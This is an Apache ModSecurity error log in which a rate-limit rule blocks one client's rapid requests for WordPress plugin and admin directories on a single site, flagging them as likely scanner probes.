[Tue Feb 03 17:48:23.543419 2026] [:error] [pid 42921:tid 42975] [client 149.102.230.131:58536] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aYHEZ4blShffGl-01odH-wAAAFE"]
[Tue Feb 03 17:48:24.130395 2026] [:error] [pid 43028:tid 43045] [client 149.102.230.131:58542] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aYHEaFnHWnJD4cJC5DtjeAAAAM8"]
[Tue Feb 03 17:48:24.814898 2026] [:error] [pid 43028:tid 43038] [client 149.102.230.131:58550] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aYHEaFnHWnJD4cJC5DtjegAAAMg"]
[Tue Feb 03 17:48:25.402657 2026] [:error] [pid 42921:tid 42961] [client 149.102.230.131:58552] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aYHEaYblShffGl-01odH_QAAAEM"]
[Tue Feb 03 17:48:26.418437 2026] [:error] [pid 43028:tid 43040] [client 149.102.230.131:58560] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/fonts/"] [unique_id "aYHEalnHWnJD4cJC5DtjewAAAMo"]
[Tue Feb 03 17:48:27.007300 2026] [:error] [pid 42921:tid 42965] [client 149.102.230.131:58576] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aYHEa4blShffGl-01odH_wAAAEc"]
[Tue Feb 03 17:48:27.593924 2026] [:error] [pid 5148:tid 5156] [client 149.102.230.131:60586] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aYHEa783HCHLtUIbS7KstAAAAUU"]
[Tue Feb 03 17:48:28.230092 2026] [:error] [pid 42920:tid 42949] [client 149.102.230.131:60602] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aYHEbCix3YKltG4EU0lUBAAAABQ"]
[Tue Feb 03 17:48:28.816025 2026] [:error] [pid 5148:tid 5172] [client 149.102.230.131:60608] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aYHEbL83HCHLtUIbS7KstwAAAVU"]
[Tue Feb 03 17:48:29.417632 2026] [:error] [pid 5229:tid 5236] [client 149.102.230.131:60620] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aYHEbUKmEgmJub93yUq15wAAAYU"]
[Tue Feb 03 17:48:30.004587 2026] [:error] [pid 5229:tid 5239] [client 149.102.230.131:60632] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aYHEbkKmEgmJub93yUq16AAAAYg"]
[Tue Feb 03 17:48:30.591534 2026] [:error] [pid 42921:tid 42964] [client 149.102.230.131:60644] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aYHEboblShffGl-01odIBQAAAEY"]
[Tue Feb 03 17:48:31.205942 2026] [:error] [pid 5229:tid 5241] [client 149.102.230.131:60648] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aYHEb0KmEgmJub93yUq17QAAAYo"]
[Tue Feb 03 17:48:31.790971 2026] [:error] [pid 5229:tid 5246] [client 149.102.230.131:60664] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aYHEb0KmEgmJub93yUq17wAAAY8"]
[Tue Feb 03 17:48:32.392489 2026] [:error] [pid 5148:tid 5168] [client 149.102.230.131:60666] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aYHEcL83HCHLtUIbS7KsuAAAAVE"]
[Tue Feb 03 17:48:32.996120 2026] [:error] [pid 28720:tid 28744] [client 149.102.230.131:60670] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aYHEcGmRXm2bmr_sYiaeJwAAARY"]
[Tue Feb 03 17:48:33.586082 2026] [:error] [pid 42921:tid 42974] [client 149.102.230.131:60682] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wordpress/"] [unique_id "aYHEcYblShffGl-01odIDwAAAFA"]
[Tue Feb 03 17:48:34.173889 2026] [:error] [pid 42921:tid 42966] [client 149.102.230.131:60690] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aYHEcoblShffGl-01odIFgAAAEg"]
[Tue Feb 03 17:48:34.785626 2026] [:error] [pid 28720:tid 28722] [client 149.102.230.131:60692] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aYHEcmmRXm2bmr_sYiaeKgAAAQA"]
[Tue Feb 03 17:48:35.373071 2026] [:error] [pid 5229:tid 5246] [client 149.102.230.131:60704] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aYHEc0KmEgmJub93yUq1_wAAAY8"]
[Tue Feb 03 17:48:35.974359 2026] [:error] [pid 43028:tid 43046] [client 149.102.230.131:60720] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "aYHEc1nHWnJD4cJC5DtjgAAAANA"]
[Tue Feb 03 17:48:36.608917 2026] [:error] [pid 5229:tid 5247] [client 149.102.230.131:60732] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aYHEdEKmEgmJub93yUq2CQAAAZA"]
[Tue Feb 03 17:48:37.202886 2026] [:error] [pid 28720:tid 28726] [client 149.102.230.131:60742] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aYHEdWmRXm2bmr_sYiaeLAAAAQQ"]
[Tue Feb 03 17:48:37.804315 2026] [:error] [pid 5229:tid 5243] [client 149.102.230.131:52092] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aYHEdUKmEgmJub93yUq2CwAAAYw"]
[Tue Feb 03 17:48:38.393612 2026] [:error] [pid 5229:tid 5248] [client 149.102.230.131:52098] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/js/dist/"] [unique_id "aYHEdkKmEgmJub93yUq2DQAAAZE"]
[Tue Feb 03 17:48:38.985742 2026] [:error] [pid 42922:tid 42985] [client 149.102.230.131:52110] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aYHEdmazX4WPS_dQRkhphwAAAIA"]
[Tue Feb 03 17:48:39.619750 2026] [:error] [pid 42920:tid 42946] [client 149.102.230.131:52120] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aYHEdyix3YKltG4EU0lUMgAAABE"]
[Tue Feb 03 17:48:40.242132 2026] [:error] [pid 5229:tid 5233] [client 149.102.230.131:52124] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aYHEeEKmEgmJub93yUq2EQAAAYI"]
[Tue Feb 03 17:48:40.856937 2026] [:error] [pid 5229:tid 5255] [client 149.102.230.131:52132] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordpress-seo/"] [unique_id "aYHEeEKmEgmJub93yUq2EgAAAZg"]
[Tue Feb 03 17:48:41.467519 2026] [:error] [pid 43028:tid 43043] [client 149.102.230.131:52136] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aYHEeVnHWnJD4cJC5DtjggAAAM0"]
[Tue Feb 03 17:48:42.164810 2026] [:error] [pid 42920:tid 42939] [client 149.102.230.131:52150] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aYHEeiix3YKltG4EU0lUNQAAAAo"]
[Tue Feb 03 17:48:42.754833 2026] [:error] [pid 5229:tid 5250] [client 149.102.230.131:52154] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aYHEekKmEgmJub93yUq2GQAAAZM"]
[Tue Feb 03 17:48:43.380058 2026] [:error] [pid 42921:tid 42972] [client 149.102.230.131:52168] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js/"] [unique_id "aYHEe4blShffGl-01odIOQAAAE4"]
[Tue Feb 03 17:48:43.975482 2026] [:error] [pid 5229:tid 5233] [client 149.102.230.131:52172] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aYHEe0KmEgmJub93yUq2GgAAAYI"]
[Tue Feb 03 17:48:44.585398 2026] [:error] [pid 5229:tid 5235] [client 149.102.230.131:52176] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aYHEfEKmEgmJub93yUq2HAAAAYQ"]
[Tue Feb 03 17:48:45.194331 2026] [:error] [pid 28720:tid 28742] [client 149.102.230.131:52184] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aYHEfWmRXm2bmr_sYiaeNAAAARQ"]
[Tue Feb 03 17:48:45.789629 2026] [:error] [pid 43028:tid 43049] [client 149.102.230.131:52192] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/assets/js/"] [unique_id "aYHEfVnHWnJD4cJC5DtjjQAAANM"]
[Tue Feb 03 17:48:46.378432 2026] [:error] [pid 42922:tid 42990] [client 149.102.230.131:52208] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aYHEfmazX4WPS_dQRkhpkQAAAIU"]
[Tue Feb 03 17:48:47.053769 2026] [:error] [pid 5229:tid 5237] [client 149.102.230.131:52210] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aYHEf0KmEgmJub93yUq2IQAAAYY"]
[Tue Feb 03 17:48:47.648009 2026] [:error] [pid 5229:tid 5248] [client 149.102.230.131:49096] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aYHEf0KmEgmJub93yUq2IwAAAZE"]
[Tue Feb 03 17:48:48.453364 2026] [:error] [pid 5229:tid 5233] [client 149.102.230.131:49106] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/woocommerce/"] [unique_id "aYHEgEKmEgmJub93yUq2JAAAAYI"]
[Tue Feb 03 17:48:49.074596 2026] [:error] [pid 42920:tid 42947] [client 149.102.230.131:49122] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aYHEgSix3YKltG4EU0lUQQAAABI"]
[Tue Feb 03 17:48:49.671265 2026] [:error] [pid 5229:tid 5235] [client 149.102.230.131:49134] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aYHEgUKmEgmJub93yUq2JwAAAYQ"]
[Tue Feb 03 17:48:50.295810 2026] [:error] [pid 43028:tid 43051] [client 149.102.230.131:49144] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aYHEglnHWnJD4cJC5DtjlAAAANU"]
[Tue Feb 03 17:48:50.937914 2026] [:error] [pid 28720:tid 28731] [client 149.102.230.131:49150] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/meta/"] [unique_id "aYHEgmmRXm2bmr_sYiaePgAAAQk"]
[Tue Feb 03 17:48:51.710146 2026] [:error] [pid 5148:tid 5167] [client 149.102.230.131:49160] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aYHEg783HCHLtUIbS7KswAAAAVA"]
[Tue Feb 03 17:48:52.300235 2026] [:error] [pid 5148:tid 5174] [client 149.102.230.131:49176] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aYHEhL83HCHLtUIbS7KswgAAAVc"]
[Tue Feb 03 17:48:52.894681 2026] [:error] [pid 28720:tid 28742] [client 149.102.230.131:49178] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aYHEhGmRXm2bmr_sYiaeQgAAARQ"]
[Tue Feb 03 17:48:53.507164 2026] [:error] [pid 43028:tid 43037] [client 149.102.230.131:49188] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aYHEhVnHWnJD4cJC5DtjlQAAAMc"]
[Tue Feb 03 17:48:54.094204 2026] [:error] [pid 28720:tid 28740] [client 149.102.230.131:49202] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aYHEhmmRXm2bmr_sYiaeRQAAARI"]
[Tue Feb 03 17:48:54.712234 2026] [:error] [pid 42921:tid 42963] [client 149.102.230.131:49216] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aYHEhoblShffGl-01odIPQAAAEU"]
[Tue Feb 03 17:48:55.301537 2026] [:error] [pid 43028:tid 43036] [client 149.102.230.131:49226] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aYHEh1nHWnJD4cJC5DtjlgAAAMY"]
[Tue Feb 03 17:48:56.313460 2026] [:error] [pid 42922:tid 42985] [client 149.102.230.131:49238] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/"] [unique_id "aYHEiGazX4WPS_dQRkhpngAAAIA"]
[Tue Feb 03 17:48:56.922232 2026] [:error] [pid 28720:tid 28746] [client 149.102.230.131:49240] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYHEiGmRXm2bmr_sYiaeRwAAARg"]
[Tue Feb 03 17:48:57.513850 2026] [:error] [pid 42920:tid 42938] [client 149.102.230.131:43648] [client 149.102.230.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aYHEiSix3YKltG4EU0lURAAAAAk"]
